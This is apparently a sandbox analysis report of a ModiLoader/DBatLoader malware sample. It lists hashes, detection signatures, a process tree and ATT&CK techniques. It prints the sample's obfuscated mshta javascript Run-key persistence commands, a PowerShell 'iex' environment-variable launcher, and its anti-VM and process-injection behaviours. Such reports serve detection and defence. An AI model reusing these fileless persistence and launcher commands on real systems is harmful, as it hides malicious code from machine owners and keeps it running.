Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
07/01/2025, 17:16
Static task
static1
Behavioral task
behavioral1
Sample
JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe
Resource
win10v2004-20241007-en
General
-
Target
JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe
-
Size
341KB
-
MD5
6f818a61dfa71206a4623bbb5d740355
-
SHA1
acb882ef9cfb9385726d396dbf039e2e83e0a038
-
SHA256
28fcbbde6300e0bad903deebe8b42a260edd1ec36697ab4eacbeaa4552ac9a8c
-
SHA512
4e0b14e7c674dff52fe15a2bf1b71b342227179871908a9cd9779cb0d0864ec68166f342831747640ad5a83ac3bcd51c388fba3003f862877fa4827d8ffbb9b1
-
SSDEEP
6144:uI/HfAcuOdxftHKe/PViSx5JCylaX7BkujtKCTvk5/JYHFeXsvDg/0bGo/7CdSQm:NHIYxfIwFHlOpjtKnFKcXsM/0bGHm
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Modiloader family
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2960 824 mshta.exe 32 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 29 IoCs
resource yara_rule behavioral1/memory/1644-14-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-12-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-10-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-8-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-6-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-4-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-20-0x0000000000400000-0x000000000043B000-memory.dmp modiloader_stage2 behavioral1/memory/1644-24-0x0000000001E70000-0x0000000001F32000-memory.dmp modiloader_stage2 behavioral1/memory/1644-25-0x0000000001E70000-0x0000000001F32000-memory.dmp modiloader_stage2 behavioral1/memory/1644-23-0x0000000001E70000-0x0000000001F32000-memory.dmp modiloader_stage2 behavioral1/memory/1644-22-0x0000000001E70000-0x0000000001F32000-memory.dmp modiloader_stage2 behavioral1/memory/1644-21-0x0000000001E70000-0x0000000001F32000-memory.dmp modiloader_stage2 behavioral1/memory/1644-26-0x0000000001E70000-0x0000000001F32000-memory.dmp modiloader_stage2 behavioral1/memory/2840-55-0x0000000006150000-0x0000000006212000-memory.dmp modiloader_stage2 behavioral1/memory/2840-59-0x0000000006150000-0x0000000006212000-memory.dmp modiloader_stage2 behavioral1/memory/1140-62-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-68-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-76-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-75-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-73-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-72-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-71-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-70-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-69-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-67-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-66-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-65-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-64-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 behavioral1/memory/1140-63-0x0000000000200000-0x00000000002C2000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:uK2HX1XeZ=\"pVNwj\";cJ7=new%20ActiveXObject(\"WScript.Shell\");DVX4X5xyt=\"mCbcA\";Cd3hZ=cJ7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\260d95db5d\\\\634300b8\");IkJx9zExk6=\"03Pjc\";eval(Cd3hZ);w2nlaNE6k=\"Jp6acXPp\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMWare, Inc.\VMWare Tools JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMWare, Inc.\VMWare Tools JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 1140 regsvr32.exe -
Executes dropped EXE 2 IoCs
pid Process 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 2868 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe -
Loads dropped DLL 1 IoCs
pid Process 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:gVM8l4nVb=\"GvmtToF\";Xj4=new%20ActiveXObject(\"WScript.Shell\");NyczV1E=\"DYXaY\";Hox4n=Xj4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\260d95db5d\\\\634300b8\");vncXSKZ87=\"xIBG\";eval(Hox4n);EiULE6CJ=\"zVCIS\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:hLNZVYV1c=\"fOY3CJ4\";c4C=new%20ActiveXObject(\"WScript.Shell\");uSlc2OxID5=\"z\";Xw5Bt=c4C.RegRead(\"HKCU\\\\software\\\\260d95db5d\\\\634300b8\");O0GVNUYB=\"EhGImSf\";eval(Xw5Bt);q5nSDA7Cc=\"vd\";" regsvr32.exe -
pid Process 2840 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2556 set thread context of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2624 set thread context of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 2840 powershell.exe 2868 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 2868 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 2840 powershell.exe 2840 powershell.exe 2840 powershell.exe 1140 regsvr32.exe 1140 regsvr32.exe 1140 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2840 powershell.exe -
Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 2556 wrote to memory of 1644 2556 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 30 PID 1644 wrote to memory of 2624 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 31 PID 1644 wrote to memory of 2624 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 31 PID 1644 wrote to memory of 2624 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 31 PID 1644 wrote to memory of 2624 1644 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 31 PID 2960 wrote to memory of 2840 2960 mshta.exe 34 PID 2960 wrote to memory of 2840 2960 mshta.exe 34 PID 2960 wrote to memory of 2840 2960 mshta.exe 34 PID 2960 wrote to memory of 2840 2960 mshta.exe 34 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2624 wrote to memory of 2868 2624 JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe 37 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 2840 wrote to memory of 1140 2840 powershell.exe 38 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39 PID 1140 wrote to memory of 2336 1140 regsvr32.exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exeC:\Users\Admin\AppData\Local\Temp\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VMWare Tools registry key
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe"C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exeC:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VMWare Tools registry key
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2868
-
-
-
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:EJhP8xsB="rtoZ2T";xd4=new%20ActiveXObject("WScript.Shell");K0SDoFAQ4="FBfuaffuqN";XNM2Y=xd4.RegRead("HKLM\\software\\Wow6432Node\\yYHeUjoh\\2VeEUDw");mI1xTGtY="Mp8mgw5";eval(XNM2Y);LU2EHXAL="1gi5LyCj";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:sxhkvkm2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2336
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Replay Monitor
Loading Replay Monitor...
Downloads
-
\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\JaffaCakes118_6f818a61dfa71206a4623bbb5d740355.exe
Filesize341KB
MD56f818a61dfa71206a4623bbb5d740355
SHA1acb882ef9cfb9385726d396dbf039e2e83e0a038
SHA25628fcbbde6300e0bad903deebe8b42a260edd1ec36697ab4eacbeaa4552ac9a8c
SHA5124e0b14e7c674dff52fe15a2bf1b71b342227179871908a9cd9779cb0d0864ec68166f342831747640ad5a83ac3bcd51c388fba3003f862877fa4827d8ffbb9b1